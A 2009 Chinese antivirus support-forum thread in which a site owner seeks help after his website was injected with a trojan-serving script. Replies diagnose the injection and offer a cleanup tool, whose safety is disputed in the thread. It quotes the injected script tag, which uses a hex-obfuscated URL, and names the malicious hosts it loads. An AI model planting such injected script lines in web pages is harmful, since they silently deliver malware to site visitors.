瑞星卡卡安全论坛技术交流区恶意网站交流 求助啊，我网站被挂马了，又找不到被改在什么地方

12   1  /  2  页   跳转页

[瑞星产品相关] 求助啊，我网站被挂马了，又找不到被改在什么地方

收藏
武汉王超
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2009-03-28
  • 来自:
发表于： 2009-03-28 18:37 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

求助啊，我网站被挂马了，又找不到被改在什么地方

我的网站www.520724.com上午还是好好的，下午我打开的时候发现在嵌套着另一个网站，我打开那个网站，360说是木马网，刚刚在论坛里也看到了这个网址，我的站就是这个木马，可是在源文件里找了半也找不到地方的啊！木马站： http://sjjt10.cn/360/a34.htm  希望各位大虾帮帮我的啊！我的QQ182021332 先谢谢了哦！

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
最后编辑武汉王超 最后编辑于 2009-03-28 19:29:43
分享到：
gototop
 
sinoer
头像
横据古稀狮
  • 帖子:12382
  • 注册: 2008-09-23
  • 来自:
09欢乐圣诞
发表于： 2009-03-28 18:38 | 短消息 资料
字号： 小 中 大 2楼

回复：求助啊，我网站被挂马了，又找不到被改在什么地方

请等待工程师分析反馈
gototop
 
aaccbbdd
头像
卡卡巡查
  • 帖子:45933
  • 注册: 2007-11-17
  • 来自:蜀山仙剑派
论坛8周年活动礼物卡卡名人堂祖国六十华诞09欢乐圣诞吃货勋章2012我眼中的你们幸福玫瑰
发表于： 2009-03-28 18:39 | 短消息 资料
字号： 小 中 大 3楼

回复: 求助啊，我网站被挂马了，又找不到被改在什么地方

Log is generated by FreShow.
[wide]http://www.520724.com
    [script]http://%62%75%79%79%62%2E%63%6F%6D/tgw/images/xx.gif
        [frame]http://sjjt10.cn/360/a34.htm

http://%62%75%79%79%62%2E%63%6F%6D/tgw/images/xx.gif就是
http://buyyb.com/tgw/images/xx.gif
gototop
 
武汉王超
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2009-03-28
  • 来自:
发表于： 2009-03-28 18:39 | 只看楼主 短消息 资料
字号： 小 中 大 4楼

回复：求助啊，我网站被挂马了，又找不到被改在什么地方

好的，这个大概要多久的啊！
gototop
 
武汉王超
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2009-03-28
  • 来自:
发表于： 2009-03-28 18:47 | 只看楼主 短消息 资料
字号： 小 中 大 5楼

回复：求助啊，我网站被挂马了，又找不到被改在什么地方

Log is generated by FreShow.
[wide]http://www.520724.com
    [script]http://%62%75%79%79%62%2E%63%6F%6D/tgw/images/xx.gif
        [frame]http://sjjt10.cn/360/a34.htm

http://%62%75%79%79%62%2E%63%6F%6D/tgw/images/xx.gif就是



这些文件在哪里的啊，我对这方面还不是很懂的！
gototop
 
aaccbbdd
头像
卡卡巡查
  • 帖子:45933
  • 注册: 2007-11-17
  • 来自:蜀山仙剑派
论坛8周年活动礼物卡卡名人堂祖国六十华诞09欢乐圣诞吃货勋章2012我眼中的你们幸福玫瑰
发表于： 2009-03-28 18:47 | 短消息 资料
字号： 小 中 大 6楼

回复: 求助啊，我网站被挂马了，又找不到被改在什么地方

我倒
你试试附件清除代码看看（清除有风险，建议清除前先做必要的备份）

清除代码
http://%62%75%79%79%62%2E%63%6F%6D/tgw/images/xx.gif


就是这个
</table><script src=http://%62%75%79%79%62%2E%63%6F%6D/tgw/images/xx.gif></script>

附件附件:

下载次数:383
文件类型:application/x-rar-compressed
文件大小:
上传时间:2009-3-28 18:47:14
描述:rar

最后编辑aaccbbdd 最后编辑于 2009-03-28 19:09:06
gototop
 
天涯在线
头像
拙长孩提狮
  • 帖子:79
  • 注册: 2005-10-07
  • 来自:
发表于： 2009-03-28 22:28 | 短消息 资料
字号： 小 中 大 7楼

回复：求助啊，我网站被挂马了，又找不到被改在什么地方

附件:
文件名:网页感染清除精灵1.1.rar
下载次数:8
文件类型:application/x-rar-compressed
文件大小: 453.58 K
上传时间:2009-3-28 18:47:14
描述:rar

有没有搞错啊??高贵耄耋狮aaccbbdd 发布的清除精灵内藏木马?????汗啊....
这里不应当出现这种情况吧???该程序用高级语言编写而成,会自动在后台收集用户系统的关键信息!!真有木马嫌疑,望查查....

谁人来解释一下啊?
最后编辑天涯在线 最后编辑于 2009-03-29 15:49:52
gototop
 
天涯在线
头像
拙长孩提狮
  • 帖子:79
  • 注册: 2005-10-07
  • 来自:
发表于： 2009-03-28 22:34 | 短消息 资料
字号： 小 中 大 8楼

回复: 求助啊，我网站被挂马了，又找不到被改在什么地方



引用:
原帖由 武汉王超 于 2009-3-28 18:37:00 发表
我的网站www.520724.com上午还是好好的，下午我打开的时候发现在嵌套着另一个网站，我打开那个网站，360说是木马网，刚刚在论坛里也看到了这个网址，我的站就是这个木马，可是在源文件里找了半也找不到地方的啊！木马站： [url=http://sjjt10.cn/360/a34.htm]http://sjjt10.cn/360



典型的网页挂马,快快打上补丁吧!不然遗害无穷!!无辜者遭殃..
gototop
 
newcenturymoon
头像
社区嘉宾
  • 帖子:15158
  • 注册: 2005-08-03
  • 来自:
论坛8周年活动礼物幸运草
发表于： 2009-03-28 22:52 | 短消息 资料
字号： 小 中 大 9楼

回复: 求助啊，我网站被挂马了，又找不到被改在什么地方



引用:
原帖由 天涯在线 于 2009-3-28 22:28:00 发表
附件:
文件名:网页感染清除精灵1.1.rar
下载次数:8
文件类型:application/x-rar-compressed
文件大小: 453.58 K
上传时间:2009-3-28 18:47:14
描述:rar

[co

貌似没发现什么问题  请不要妖言惑众～
gototop
 
武汉王超
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2009-03-28
  • 来自:
发表于： 2009-03-29 10:52 | 只看楼主 短消息 资料
字号： 小 中 大 10楼

回复：求助啊，我网站被挂马了，又找不到被改在什么地方

已经解决了哦！不知道那个分类在哪里改，就没改的哦....就在这里说一下吧！
gototop
 
<<上一主题|下一主题>>
12   1  /  2  页   跳转页
页面顶部
Powered by Discuz!NT